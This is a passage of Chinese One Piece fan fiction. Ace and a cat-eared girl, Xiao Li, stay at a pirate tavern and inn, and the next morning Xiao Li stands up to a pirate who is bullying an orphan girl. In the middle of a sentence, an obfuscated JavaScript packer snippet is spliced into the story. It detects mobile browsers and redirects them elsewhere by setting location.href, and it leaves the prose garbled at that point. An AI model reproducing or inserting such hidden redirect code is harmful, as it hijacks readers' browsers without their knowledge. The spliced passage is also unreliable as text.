吧台后方,站着一个与这环境奇妙融合又隐隐凌驾其上的女人。她看起来四十岁上下,身材火辣,一件紧身的皮质围裙勾勒出饱满的曲线,嘴里斜斜叼着一根细长的烟卷,猩红的火光在昏暗中明灭。她的眼神像鹰隼般锐利,懒洋洋地扫视全场,嘴角挂着一抹似笑非笑的弧度,泼辣而精明,仿佛一切混乱都在她的掌控之中——这就是老板娘玛姬。 艾斯目光快速扫过,拉着小狸径直走向角落一个相对安静的卡座。刚坐下,一个身影就灵巧地穿过人群缝隙,“哒哒哒”地跑了过来。 是个八九岁的小女孩,扎着两个有些毛躁却努力梳整齐的小辫子,身上穿着洗得发白、打了补丁但干净的花布裙。她怀里抱着一本几乎有她上半身那么大的、边缘卷曲的皮质菜单,小脸仰着,一双亮晶晶的、如同未被污染过的山泉般的眼睛看向他们,脸上绽开一个与周围粗鄙环境格格不入的、无比灿烂真诚的笑容。 “欢迎光临玛姬的酒馆!两位尊敬的客人,想吃点什么呀?”她的声音清脆悦耳,像玉珠落盘,瞬间割裂了周围的嘈杂。 艾斯接过厚重的菜单,快速扫了一眼,点了几样看起来最扎实的烤肋排、炖肉和黑面包——这些能提供充足热量和饱腹感。合上菜单递回去时,他补充了一句,声音不大,却清晰:“再给她一杯新鲜的果汁,谢谢。”他指了指身边正好奇地观察着小女孩和周围环境的小狸。 这句话在周围一片“朗姆酒双倍!”“威士忌不加冰!”“啤酒!一整桶!”的粗豪点单声中,显得异常突兀,甚至有些……格格不入。 瞬间,几道原本漫不经心的、带着醉意和恶意的目光像嗅到血腥味的鲨鱼一样,齐刷刷地投了过来。紧接着,毫不掩饰的、充满讥讽的嘲笑声爆开: “噗——!果汁?哈哈哈哈哈!老子没听错吧?小鬼,你他妈是不是走错门了?奶吧在隔壁街!”一个满脸横肉、缺了颗门牙的大汉拍着桌子狂笑,酒沫从嘴角喷出。 “毛都没长齐,就学人家带小娘们来酒馆找乐子?回家找你妈妈喝奶去吧!小白脸!”另一个瘦高个、眼神阴鸷的海贼尖声附和,不怀好意的目光在小狸身上逡巡。 “啧,这小妞长得倒真是水灵,这耳朵尾巴……稀有货啊?可惜跟了个没断奶的……”第三个满脸络腮胡、敞着胸膛露出狰狞纹身的壮汉舔了舔嘴唇,污言秽语刚要出口—— “蠢货!你他妈给老子闭嘴!”他旁边一个看起来稍微清醒些、脸上带着刀疤的同伙脸色骤变,惊恐万状地扑上去,死死勒住他的脖子捂住了他的嘴,力道之大让壮汉翻起了白眼。刀疤脸压低声音,几乎是从牙缝里挤出来,带着无法掩饰的恐惧:“眼睛!看你妈哪儿呢!看他的后背!标志!” “标……志?”被捂住嘴的壮汉挣扎着,迷糊的醉眼费力地聚焦。 刀疤脸的同桌其他人也顺着他的视线望去,落在了艾斯裸露在外的后背上——那是一个巨大的、带着弯月白胡子的骷髅标志。 仿佛有一盆冰水从头顶浇下,瞬间熄灭了所有的酒意和嚣张。 “白、白胡子……?!”有人倒抽一口冷气,声音发颤。 “那……那个男的是……‘火拳’艾斯!白胡子海贼团二番队的!悬赏金五亿贝利!”另一个见识稍广的海贼面如土色,手里的酒杯“哐当”掉在桌上,酒液洒了一身也浑然不觉。 “他们看过来了……闭、闭嘴!都他妈给老子把嘴闭上!不想被烧成灰烬就装死!”刀疤脸的同伙们瞬间噤若寒蝉,冷汗如同瀑布般从额角滚落,浸湿了脏兮兮的衣领。他们齐刷刷地低下头,恨不得把脑袋塞进□□里,连呼吸都放轻了,刚才的气焰消失得无影无踪,只剩下无边的恐惧在四肢百骸蔓延。不仅仅是他这一桌,那标志和名号如同瘟疫般在知情者间快速传递,窃窃私语声像潮水般退去,取而代之的是一片死寂和无数道躲闪的、敬畏的目光。整个酒馆喧嚣的热浪仿佛被无形的力量劈开了一道口子,他们所在的角落成了风暴眼中的寂静之地。 艾斯自始至终连眼皮都没有抬一下,仿佛那些噪音和目光不过是蚊蝇嗡鸣。他的注意力似乎只在眼前的女孩和菜单上。等周围令人不适的骚动勉强平息,他才再次看向那个抱着菜单、显然被刚才的冲突和骤然变化的气氛吓到、有些不知所措的小女孩,语气依旧温和,重复道:“一杯果汁,谢谢。有什么水果?” 小女孩莉娜猛地回过神来,深吸一口气,努力压下心中的惊慌,脸上重新挤出专业但稍显僵硬的笑容,只是那双大眼睛里还残留着些许受惊的痕迹:“有、有今天刚送来的桃子和橘子,很甜的!姐姐要喝哪种?” 小狸的注意力立刻被吸引回来,刚才那些恶意的言语和目光带来的细微不适被抛到脑后。她甩了甩尾巴,毫不犹豫地回答:“都要!”声音里带着一点小小的雀跃。 “好、好的!一杯大号混合果汁!”莉娜快速记下,抱着大菜单,像只受惊但努力完成任务的小兔子,飞快地跑回了后厨方向,辫子在脑后一跳一跳。 艾斯这才支起一边胳膊,手背托着下巴,侧过头看向小狸,眼里带着一丝戏谑:“两样都要?喝得下吗?小馋猫。” “喝不下的话,哥哥帮我喝就好了嘛!”小狸理直气壮,猫耳得意地抖了抖,随即又想起什么,疑惑地歪头,“不过为什么没有葡萄?我上次在莫比迪克号上喝到的葡萄汁也很好喝。” “大概这里的葡萄都拿去酿成更贵的葡萄酒,卖给那些……”艾斯瞥了一眼周围瞬间变得“安静乖巧”的海贼们,轻哼一声,“卖给这些‘懂行’的客人了吧。” 很快,食物和那杯颜色鲜亮、果粒饱满的混合果汁被送了上来。果汁装在厚重的玻璃杯里,散发着清新的果香。小狸捧起来,小心地啜饮了一口,冰凉清甜的液体混合着桃子的馥郁和橘子的微酸滑过舌尖,她蔚蓝的眼睛瞬间亮了,像盛满了星光:“哇!好好喝!真的很甜!”比她之前在船上喝的、经过储存的果汁更多了一份难以言喻的鲜活气息。 正准备离开的莉娜听到这真诚的夸奖,立刻停下脚步,转过身,脸上绽开一个比刚才更加明亮、更加自豪的笑容,那点残留的惊吓彻底被驱散:“对吧对吧!这是我们自己院子里种的果树结的果子哦!今天早上才摘下来的,最新鲜了!” “你自己种的?!”小狸这次真的惊讶了,猫耳竖起,身体微微前倾,“好厉害!你会种果树?” “嗯!”莉娜用力点头,笑容依旧灿烂,但眼底飞快地掠过一丝与其年龄不符的、极淡的落寞,不过很快又被明亮覆盖,“我是孤儿,是玛姬老板娘好心收留了我,让我在酒馆里帮忙,给我饭吃和住的地方。”她顿了顿,声音里充满感激和一种小小的、努力挺起的骄傲,“那几棵果树苗也是老板娘买给我的!她说让我学着照顾它们。现在果子熟了,老板娘还愿意用市价收我的果子,放在酒馆里卖!所以……所以我一定要努力干活,好好照顾果树,报答老板娘!”她说完,好像觉得自己话有点多,不好意思地吐了吐舌头,又活力满满地抱起一个几乎有她半人高的空酒桶,摇摇晃晃却步伐坚定地走向后厨,小小的身影在周围那些体型庞大、面目粗野的海贼间灵巧地穿梭,像一株在岩石缝中顽强生长、努力向着阳光的小草。 小狸一直目送着她的背影消失在厨房门后,久久没有收回视线。黑色的猫耳几不可查地动了动,微微向后撇了一个很小的角度。她没有说话,只是捧着手里的果汁,又喝了一小口,长长的睫毛垂下来,遮住了眼底一闪而过的、复杂的思绪。她自己也曾是“孤儿”,以另一种更冰冷的方式。她知道那种在夹缝中努力生存、紧紧抓住一点微光的感觉。 吃完饭,海上漂泊多日的疲倦感,加上食物的温暖和酒馆内闷热的空气,如同潮水般阵阵涌来。小狸忍不住掩嘴打了个小小的哈欠,眼角渗出一点生理性的泪花,蓝色的眼眸染上些许困倦的水色,脑袋也一点一点的。 艾斯看着她强打精神却眼皮打架的样子,心软了一下,问道:“今晚在这里住一晚,明天早上再出发,怎么样?”他想着或许能让她在陆地的床上好好睡一觉,洗个热水澡,总比在摇晃的小艇上休息得好。 小狸一听,困意都消散了几分,想起明天早上还能喝到那么新鲜好喝的果汁,还能见到那个努力又明亮的莉娜,立刻开心地点头同意,甚至还带着点期待,主动跑去找正在柜台后算账的莉娜,小声约好了明天一早要买最新鲜的桃子吃。 他们在老板娘玛姬那里打听到了岛上唯一一家还算过得去的旅馆的方向,就在酒馆后面不远的一条小巷里。旅馆门面比酒馆更不起眼,灯光昏暗。 办理入住时,风韵犹存的玛姬亲自跟了过来,倚在柜台边,目光在英俊挺拔的艾斯和黏在他身边、眼神清澈依赖的小狸身上来回扫视,涂着鲜艳口红的嘴角勾起一个极其暧昧、满是揶揄的笑容,眼神仿佛能洞悉一切。 “两间房,谢谢。”艾斯说道,语气坦然。 玛姬挑了挑眉,那双经历过风浪的眼睛里笑意更深,像只偷看到秘密的猫:“哎呀呀,这位帅气的小哥,真是不巧呢~”她拖长了调子,指尖有一下没一下地敲着柜台,“小店生意一般,客房不多,今天不知怎么的,就只剩最后一间房了。”她顿了顿,目光意有所指地在两人之间流转,特别是在小狸自然而亲密地挨着艾斯的姿态上停留了片刻,笑容更加耐人寻味,“不过嘛,我看两位……关系匪浅,住一间房应该正合适?也省得再找别处了,这岛上晚上可不太平哦。”她的话里带着明显的暗示和促狭。 艾斯顿时感到一阵尴尬,耳根不受控制地开始发热。马尔科的教诲和那些关于“规矩”、“女孩子需要独立空间”的话语瞬间在脑海里回响。他张了张嘴,刚想再询问是否真的没有其他办法,或者他们可以去船上将就一晚—— “没关系呀,就一间好了,麻烦您啦。”小狸却已经自然而然地点头应下,声音清脆,眼神纯粹坦然,完全不觉得这有什么问题。在她简单直接的理解里,和艾斯住在一起是天经地义的事情,明明在诊所和小艇上都是窝在一起的……她甚至有些疑惑地看了一眼突然僵住、表情微妙的艾斯,不太明白他在纠结什么。而且马尔科先生又不在…… “……”艾斯被她那清澈见底、毫无杂念的目光一看,所有到了嘴边的推拒和解释都被堵了回去,只剩下喉咙里一声无声的哽噎。他只能在玛姬那“果然如此”、“年轻真好啊”的暧昧目光洗礼下,硬着头皮,耳根红晕蔓延到脖颈,接过了那把有些锈迹的铜钥匙。小狸则完全没接收到老板娘眼神里的深意,坦坦荡荡地、甚至带着点终于可以休息的雀跃,拉着艾斯略僵硬的手臂,快速找到了房间,推开门,发出一声小小的欢呼,然后就幸福地扑进了房间里那张看起来柔软干净的大床,脸蛋埋在带着阳光味道的被褥里蹭了蹭,尾巴愉悦地左右摆动。 久违地……至少在艾斯此刻微妙的心绪里算是“久违”的住进同一个房间,某些被日常航行和规矩暂时掩盖的、细微的不同开始悄然浮现。尤其是当小狸迫不及待地翻找出干净衣物,冲进旅馆公共浴室,享受久违的、不限热水的沐浴时—— 她泡在浴池里,温热的水流包裹全身,带走盐渍和疲惫,舒服得每一个毛孔都在叹息。不知不觉竟差点睡着,直到手指的皮肤都泡得微微发皱、泛起粉色,才恋恋不舍地爬起来。擦干身体,换上柔软的棉质睡裙,顶着一头湿漉漉、不断往下滴着水珠的黑色卷发,脸颊被热气蒸腾出健康的红晕。她一边揉着困倦的眼睛,打着哈欠,一边趿拉着略大的拖鞋,推开房门,声音带着沐浴后的松软慵懒:“哥,我回来……了……” 话音,戛然而止。 房间里的景象让她瞬间僵在原地,最后一个音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941758|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 节卡在喉咙里,变成细微的气音。 只见艾斯显然也没料到她这么快回来。他似乎也刚在男浴那边冲洗过,上身完全赤裸,只在下身松松垮垮地围着一条白色的、吸水性并不太好的单薄浴巾,堪堪遮住关键部位。他正微微侧着头,手里拿着另一条毛巾,有些随意地擦拭着自己还在滴水的黑发。水珠顺着他线条流畅而结实的肩颈滑落,滚过起伏的胸肌,沿着清晰分明的腹肌沟壑蜿蜒而下,在壁灯并不明亮的光线下,那些水痕折射着微光,勾勒出充满年轻力量感的、精悍的躯体轮廓。平时穿着宽松衬衫甚至光着膀子反而不甚明显,此刻半遮半掩,那经过无数次生死搏斗和严酷锻炼铸就的身体,每一块肌肉都蕴含着爆炸性的力量,却又呈现着流畅的美感,皮肤是健康的古铜色,上面零星散布着一些浅淡的旧伤疤,像荣誉的勋章。浴巾边缘的水汽氤氲,人鱼线没入阴影,引人无限遐想…… 四目,相对。 空气仿佛在那一刹那被抽空,彻底凝固。时间流速变得粘稠而缓慢。 小狸的脸“轰”地一下,红得几乎要滴出血来,耳朵里嗡嗡作响,血液全都冲向了头顶。她蓝色的猫瞳猛地睁大到极限,瞳孔微微收缩,里面清晰地映出艾斯此刻的身影。大脑一片空白,所有的思维都停滞了。她下意识地、毫无意义地发出一声短促的、类似幼猫受惊的“喵呜!”,手忙脚乱地胡乱挥手,好像这样就能驱散眼前的画面,尾巴“唰”地一下完全炸开,绒毛根根直立,耳朵也紧紧贴在了头皮上,变成了标准的飞机耳,动弹不得。 艾斯也明显僵住了。擦头发的动作定格在半空,手臂的肌肉线条因为瞬间的紧绷而更加清晰。皮肤上以肉眼可见的速度,迅速蔓延开一层不易察觉的、却真实存在的红晕,从脖颈一路爬升到耳廓。他的眼神下意识地想要移开,却又像被什么无形的东西牵扯了一下,才有些狼狈地飘向旁边斑驳的墙壁,喉结不自然地上下滚动了好几下,吞咽的动作显得格外明显。握着毛巾的手指,无意识地收紧了。 “咳……”几秒难熬的沉默后,艾斯率先找回了自己的声音。他强作镇定,有些生硬地转过身,背对着小狸,假装继续用力擦着其实已经半干的头发,声音比平时低沉沙哑了几分,带着一丝不易察觉的紧绷,“你……你洗好了?……水,水还热吗?”问完他就想咬掉自己的舌头,这什么问题! “很、很热……不对,是刚好……不,不是……”小狸语无伦次,舌头像是打了结。脑袋里似乎还因为热水澡晕乎乎的,眼前不受控制地不断闪回刚才看到的画面——水珠滚落的轨迹,肌肉的轮廓,浴巾边缘……心跳快得如同密集的鼓点,在安静的房间里似乎都能听到“咚咚”的回响。脸颊烫得吓人,连脖颈都染上了粉色。她完全无法思考,几乎是凭着本能,同手同脚地、动作僵硬地挪到床边,一把抓起自己刚才换下来、还没来得及洗的脏衣服,紧紧抱在怀里,像抱着一个盾牌。她低着头,不敢再看艾斯的方向,声音细若蚊蚋,丢下一句:“我、我……我去把这些洗了!”然后,就像只受惊过度的小动物,慌不择路地转身,“砰”地一声再次拉开房门,几乎是“逃”了出去,纤细的背影消失在门外,只留下一阵慌乱的脚步声和空气中淡淡的、她沐浴后的洗护用品的香气证明她来过。 房门关上,隔绝了内外。 艾斯听着那脚步声迅速远去,直到消失,这才真正松了一口气,紧绷的肩膀微微垮下。他放下毛巾,有些懊恼地抬手揉了揉自己的眉心,另一只手无意识地按了按自己仍在急促跳动的心脏位置。真是……太不小心了。他低头,看了看自己赤裸的上身和腰间那条浴巾,不知出于什么微妙的心理,他下意识地绷紧了一下手臂和腹部的肌肉,看着灯光下更加清晰的线条轮廓,嘴角居然勾起了一抹连自己都没察觉的、近乎幼稚的满意弧度。但随即,他就被自己这莫名其妙的行为弄得哑然失笑,摇了摇头,赶紧抓起床上准备好的干净衬衫和短裤,迅速套上。柔软的棉布遮盖住身体,那份无形的、令人心跳失衡的张力似乎才稍稍缓解。 小狸忽然有点明白为什么要住两间房了,等她红着脸在洗衣房磨磨蹭蹭、心不在焉地搓洗完衣服,又站在走廊里做了好几个深呼吸,才敢再次推开房门时,房间里已经恢复了“正常”。 艾斯已经换好了舒适的红色开衫和黑色宽松短裤,正背对着门口,随意地坐在窗边那把旧木椅子上,手肘撑着窗台,安静地看着窗外螺贝岛混乱却又有种奇异生命力的夜景。昏黄的路灯光芒透过玻璃,在他侧脸上投下明明暗暗的柔和光影,轮廓显得格外深邃。听到开门声,他也没有立刻回头,只是肩膀几不可查地放松了一瞬。 空气中弥漫着一种微妙的、尚未完全散尽的余韵,像暴雨过后空气中残留的潮湿和泥土气息。两人目光偶尔不小心在空中相撞,又会像触了电般迅速、默契地各自移开,看向别处。小狸脸颊的红晕还未完全褪去,耳朵尖依旧泛着淡淡的粉色,她把还带着湿气的干净衣服晾好,脚步轻得几乎听不见。 “过来,小狸。”艾斯终于转过头,声音已经恢复了平日的温和,只是仔细听,似乎比往常更轻柔了一些。他拿起床上另一条干燥蓬松的大毛巾,拍了拍自己旁边的椅子边缘,“头发不擦干就到处跑,会感冒的。” 小狸乖乖地“哦”了一声,慢吞吞地走过去,在他指定的椅子上坐下,背对着他。她能感觉到艾斯的手指,带着熟悉的温热和一层薄茧,轻柔地穿过她还有些潮湿的、微卷的发丝。他用毛巾包裹住她的长发,细细地、耐心地揉搓着,吸收水分。他的动作已经相当熟练,毕竟为了弥补差点变成秃头的小猫,他可是努力了很久,但那份不变的专注和小心翼翼,却透过指尖的力度清晰地传递过来。 空气中只剩下毛巾摩擦头发时发出的、细微的“沙沙”声,窗外隐约传来的、属于不夜岛的模糊喧嚣,以及彼此之间轻缓的、逐渐同步的呼吸声。 刚才那场意外带来的、令人心跳失序的尴尬和羞涩,在这熟悉而亲昵的举动中,如同阳光下的晨露,被一点点蒸发、驱散。取而代之的,是一种更加深沉、更加安宁的暖意,缓缓流淌在两人之间。小狸紧绷的身体逐渐放松下来,不自觉地微微眯起了眼睛,睫毛垂下,喉咙里溢出细小的、满足的呼噜声。身后那条黑色的长尾巴,也不再僵硬,而是自然而然地、带着依赖地伸过去,柔软地、松松地缠绕在了艾斯裸露的小腿踝骨处,尾尖无意识地、轻轻拍打着他的皮肤。 艾斯低着头,目光落在她乖巧的后脑勺和那对随着他擦拭动作而偶尔轻轻抖动的黑色猫耳上。指尖是她凉滑如丝绸的发丝,鼻尖萦绕着她身上干净的气息。窗外是这个混乱岛屿的肮脏与危险,窗内却是只属于他们两人的、与世隔绝般的宁静与温暖。这份温暖,经由他的指尖,流向他心底那片因为刚才意外而泛起涟漪的湖面,将它们一一抚平,化为更加宽广柔和的平静。 或许,马尔科的规矩是对的。但偶尔,在这样只有彼此知晓的夜晚,在这样一个混乱却奇特地让他们靠得更近的小岛上,暂时抛开那些规矩,享受这份不合时宜却真实无比的亲密与信赖,似乎……也不错。 他停下擦拭的动作,毛巾已经吸饱了水分。他转而用指腹,极其轻柔地、一下下梳理着她半干的黑发,目光落在她因为舒适而微微泛红的、小巧的耳尖上。那里绒毛细软,在灯光下几乎透明。他的嘴角,在不自知的情况下,勾起了一抹极其温柔、几乎能融化夜晚寒意的浅浅弧度。 32. 未料的苦战 翌日清晨,小狸并非被阳光或海鸥唤醒,而是在一种沉甸甸的、黏稠得化不开的异样寂静中,缓缓睁开了眼睛。 昨夜的喧嚣、酒气、粗野的歌声和肆无忌惮的笑骂,如同退潮般消失得无影无踪。取而代之的,是一种压迫在胸口、令人呼吸不畅的沉默。这沉默并非安宁,而是某种巨大不安降临前的死寂,仿佛整个岛屿都屏住了呼吸。连窗外偶尔掠过的海鸥,那嘶哑的鸣叫也显得格外突兀、刺耳,划破凝滞的空气后,更反衬出底下的空洞与恐慌。一种无形的、冰冷的东西弥漫在空气里,是恐惧,小心翼翼压抑着的恐惧。 小狸揉了揉惺忪的睡眼,黑色的猫耳本能地竖起,像最精密的雷达,捕捉着空气中每一丝异常的波动。太安静了,安静得让人心头发毛。她赤脚踩在冰凉的地板上,走到窗边,轻轻推开了那扇吱呀作响的木窗。 晨光熹微,但足以照亮街道。与昨日黄昏时分的“热闹”截然不同,此刻的街道堪称冷清。寥寥无几的行人贴着墙根快速移动,脚步匆忙而凌乱,脸上无一例外地笼罩着一层浓重的忧惧,目光低垂,不敢与任何人对视,仿佛生怕引起不必要的注意。许多本该在清晨开张的店铺,此刻门户紧闭,厚重的门板后面仿佛藏着瑟瑟发抖的灵魂。连卖早点的小摊都不见了踪影,只有昨夜狂欢留下的污秽垃圾,在空旷的街道上被微风吹得打转,更添几分荒凉。 “怎么回事?”小狸疑惑地歪着头,晨风拂动她睡乱的黑发和敏感的耳尖。这不像是宿醉未醒的清晨,更像是……暴风雨来临前,动物们本能地躲回巢穴。 很快,无需她过多猜测,答案便以一种极具压迫感的方式自行呈现。她的目光顺着冷清的街道望向港口——那里,停泊着一艘与周围破旧海贼船格格不入的“巨兽”。它比常见的船只大上一整圈,船体线条粗犷狰狞,饱经风浪和战斗的船壳上布满了深深的划痕、焦黑的火灼印记以及未能完全修补的破洞,像一头伤痕累累却依旧凶戾的钢铁海兽。最为醒目的是它悬挂的旗帜:黑色的底布上,骷髅的眼窝里仿佛燃烧着残忍的光,而交叉在骷髅头后的,是两把弧度夸张的弯刀。这面旗帜在清晨微凉的海风中猎猎抖动,散发着不容错辨的煞气与恶意。岛屿的沉默,居民们的恐惧,源头显然直指这艘船和它所代表的力量。 艾斯下楼退房时,旅馆老板的脸上只剩下凝重和掩不住的厌恶,他一边快速办理手续,一边用眼神示意他们看向港口,声音压得极低,仿佛怕被那艘船上的人听见,“是‘双刀’霍克那伙人又来了……”他发出压低到几乎气音的、带着颤抖的叹息。“‘双刀’霍克,悬赏金一千五百万贝利,是这片海域出了名的恶霸、吸血鬼!他把螺贝岛和他的几个‘据点’都视为自家后院,每隔一两个月就来一次,美其名曰收‘保护费’,实际上就是明抢!数额高得吓人,谁要是敢稍有迟疑或凑不齐……”老板咬了咬牙,眼底掠过一丝恐惧和愤怒,“轻则打砸店铺,重则杀人立威!上次老杰克的水果铺子就因为少给了几个贝利,被他们砸得稀烂,老杰克现在走路还跛着脚!这帮畜生……真是造孽啊!”他最后几个字几乎是从牙缝里挤出来的,充满了无力与愤懑。 艾斯闻言,眉头几不可查地蹙起,形成一个浅浅的“川”字。他并非第一次听闻这类事情,在新世界广袤而残酷的海域里,恃强凌弱、划地收钱的恶徒多如牛毛。白胡子海贼团的旗帜庇护了许多岛屿,但更多的角落依旧笼罩在类似的阴影之下。他并非冷血,只是深知这种事管不胜管,且极易卷入不必要的麻烦,打乱自己的计划。他的首要任务是补充物资,然后继续追踪黑胡子的线索。多一事不如少一事。他按了按头上的橙色牛仔帽,帽檐的阴影遮住了他眼中一闪而过的冷光,心中已打定主意:尽快补充淡水和食物,然后立刻离开这个是非之地。 然而,命运或者说某种不公,似乎总喜欢在人们想要绕行时,蛮横地堵在路中央。 就在艾斯回楼上收拾行李准备离开旅馆时,意料的一幕,猝不及防地撞入了他和小狸的视野。 那个名叫莉娜的小女孩,正推着一个几乎与她瘦小身材等高的陈旧木桶,沿着街道边缘费力地前行。木桶里装满了新鲜采摘、还带着露珠的桃子,粉嫩饱满,与女孩苍白吃力的小脸形成对比。她弯着腰,小手紧紧抵着桶壁,因为用力,指节泛白,小脸憋得通红,额角沁出细密的汗珠。她低着头,目光只盯着眼前几寸地面,全神贯注地与沉重的木桶和凹凸不平的路面搏斗,只想快点将这批新鲜的果子送到玛姬阿姨的酒馆。她太专注了,以至于没有注意到,或者说,即使注意到也无力闪避——一群刚从船上下来、正大摇大摆横行在街道中央的海贼,已经走到了她的近前。 “哐当——!” 木桶的一角,不可避免地、结结实实地撞在了一个走在最外侧、身材魁梧的海贼小腿胫骨上。声音沉闷。撞击力其实并不大,但足以让木桶剧烈摇晃。桶口盖着的粗布滑落,里面好几个最大最水灵的桃子滚了出来,滴溜溜地滚到肮脏的地面上,其中一个不偏不倚,正摔在那海贼沾满泥污的硬底皮靴上,鲜嫩的果皮瞬间破裂,清甜的汁液和果肉糊在了靴面上。 时间仿佛静止了一秒。 随即,如同点燃了火药桶。 “小贱种!你他妈眼睛长在屁股上了吗?!敢撞老子?!”那被撞的海贼瞬间暴怒,脸上横肉狰狞扭曲,他甚至没看一眼地上的桃子,粗壮的手臂像铁钳般猛地伸出,一把揪住了莉娜洗得发白的衣领,轻而易举地将她整个人从地面提了起来! “啊——!”莉娜发出一声短促惊恐的尖叫,双脚无助地在空中踢蹬。突如其来的袭击和双脚离地的失重感让她魂飞魄散,小脸瞬间褪尽血色,变得惨白如纸。大颗大颗的眼泪迅速涌上眼眶,在边缘打转,但她死死咬住下唇,两只小手惊恐地捂住自己的嘴巴,硬生生将哭声憋了回去。她不敢哭出声,长期被欺凌的经验告诉她,哭泣有时会招来更残酷的对待。她低下头,瘦弱的身体在壮汉手中瑟瑟发抖。 为首的“双刀”霍克,那个身材高大壮硕、满脸横肉如岩石雕刻、腰间醒目地挂着两把长刀的中年男人,此刻才慢悠悠地踱步上前。他看都没看地上散落的桃子和哭泣的女孩,仿佛那不过是微不足道的尘埃。他嘴角咧开一个残忍而惬意的弧度,伸出一只布满老茧和伤疤的大手,竟然直接粗暴地抓住了莉娜枯黄但梳理得整齐的头发,用力向上一扯,迫使她痛苦地仰起布满泪痕的小脸。 “哟。”霍克阴恻恻地笑道,声音粗嘎难听,像砂纸摩擦铁锈,“弄脏了我手下的靴子,你说说,该怎么办呢?嗯?”他凑近了些,喷出的气息带着隔夜的酒臭,“用你这桶烂桃子来赔?还是……把你这个小身板卖到远处去,说不定还能抵几个酒钱?”他目光如同打量货物般在莉娜身上扫视,话语里的恶意毫不掩饰。 周围的居民有的不忍地别过头,有的死死攥紧了拳头,指甲掐进掌心,留下月牙形的血痕,却无人敢上前一步。恐惧如同无形的锁链,将他们牢牢钉在原地,只能眼睁睁看着这令人心碎的一幕。 艾斯的眼神彻底冷了下来,指尖,一簇微小却炽热到极致的橙色火星悄然浮现。 就在这时,他感觉到自己衬衫的衣角被一只微凉、却带着不容忽视力道的小手,轻轻地、但坚定地拉了一下。 艾斯低头。 对上了一双眼睛。 小狸正仰头望着他。那双总是清澈映照着天空与海洋的蔚蓝色猫瞳,此刻仿佛有火焰在深处点燃、蔓延。带着愤怒和一种更深沉的、感同身受的刺痛。她的眉头紧紧皱起,唇瓣抿成一条倔强的直线,看着莉娜在空中颤抖的细小身影,看着霍克那令人作呕的狞笑,看着周围人群敢怒不敢言的绝望……她眼中那份混合着熊熊怒火与无声请求的光芒,几乎要灼伤艾斯的视线。 她在问他。用眼神,清晰而执着地问他。 艾斯看着那双眼睛,看着她眼中倒映出的不公与弱小被欺凌的惨状,胸腔里那股被理智强行压制的怒火,忽然奇异地平息了,转化为一种更为汹涌、更为滚烫的情绪。他忽然,轻轻地笑了。那笑容并非往常阳光爽朗的大笑,而是嘴角微微勾起一个极小的、带着无尽纵容与鼓励的弧度。他抬起手,再次压了压帽檐,这个动作巧妙地遮住了他眼底所有翻腾的、近乎宠溺的温柔,以及那份“天塌下来有我顶着”的绝对笃定。然后,他微微弯下腰,凑近小狸的耳边,用只有两人能捕捉到的、轻得像海风拂过羽毛般的声音,一字一句,清晰地说道: “想做,就去做吧,小狸。” 他顿了顿,声音里带着全然的信任与支撑: “不用顾忌什么。有我在。” 这句话,如同解除最后一道枷锁的钥匙,又如同投入滚油中的火星。 小狸的眼神,在听到这句话的瞬间,发生了翻天覆地的变化。所有的犹豫、胆怯、对自身力量的怀疑,如同阳光下的雾气般迅速消散。她重重地、用力地点了一下头,甚至没再看艾斯一眼,仿佛所有的勇气和力量都已从他简短的话语中汲取完毕。 下一秒,在艾斯带着浅淡笑意与全然专注的目光注视下,小狸动了。 她并非从楼梯冲下,而是选择了一条更直接、更快速的路径。她后退半步,单手闪电般撑住身旁酒馆二楼敞开的木制窗沿,纤细的腰肢爆发出猫科动物特有的柔韧与力量,整个人如同摆脱了地心引力,化作一道轻盈而迅捷的黑色弧线,从窗口一跃而出!黑色的睡裙下摆在空中绽开,如同鸦羽。落地时,她双膝微曲,足尖和手掌着地,几乎没有发出什么声响,便稳稳地、精准地落在了霍克海贼团与正揪着莉娜的霍克之间。 她站直身体,晨风吹动她略显凌乱的黑发和裙摆。她抬起手臂,指向依旧抓着莉娜头发的霍克,声音还带着少女特有的清脆,却如同投入死水中的石子,清晰而冰冷地打破了凝滞: “放开她。” 这突如其来的变故,这从天而降的纤瘦身影,让所有人都愣住了片刻,包括霍克和他那些嚣张的手下。 霍克眯起那双凶光毕露的小眼睛,像是评估什么新奇猎物般,上下打量着眼前这个突然冒出来的少女。漂亮是毫无疑问的,那对黑色的猫耳和尾巴更是罕见,但就凭这细胳膊细腿,也敢站出来挡他的路?他嗤笑一声,仿佛听到了天大的笑话,粗嘎的声音满是不屑与嘲弄:“哪里跑出来的小丫头片子?毛都没长齐,就学人英雄救美?还是说……”他淫邪的目光在小狸身上扫过,“你也想被一起抓回去?不想死的话,现在就给老子滚远点!少他妈多管闲事!” 面对扑面而来的恶意、轻蔑和赤裸裸的威胁,小狸下意识地深吸了一口气。她能感觉到自己的心脏在胸腔里擂鼓般狂跳,手心有些潮湿。从锈带时畏惧任何陌生视线,到在莫比迪克号上慢慢适应被善意的目光包围,再到此刻,第一次真正站在一群穷凶极恶的敌人面前,为了守护另一个弱者而正面对抗……这中间巨大的跨越,依旧让她本能地感到一丝胆怯。但是,她眼角的余光,似乎能瞥见二楼窗口那个倚着栏杆的、熟悉的橙色帽檐轮廓。艾斯在那里。这个认知像最坚固的后盾,瞬间注入一股温热的勇气,流遍四肢百骸。 她努力回忆着看到艾斯、马尔科、比斯塔他们与敌对势力对峙时的样子。他们是怎么站的?用什么语气?她记得萨奇有时候训斥偷吃的船员们的样子,她试图模仿那种气势,挺了挺其实并不明显的胸膛,双手……有些笨拙但努力坚定地叉在腰间,努力让自己的声音听起来更有力,更不容置疑,冲着霍克大声道: “你们——弄翻了我的桃子!” 寂静。 这一次,是更长、更诡异的寂静。 仿佛连风都停滞了,街道上只剩下莉娜压抑的抽泣和海贼们粗重的呼吸。 短暂的死寂之后—— “哈……哈哈哈!桃子?!她说她的桃子?!” “我没听错吧?这丫头是为了那几个破桃子跳出来的?!” “哈哈哈!笑死老子了!这妞长得挺标致,怎么是个傻子?!” 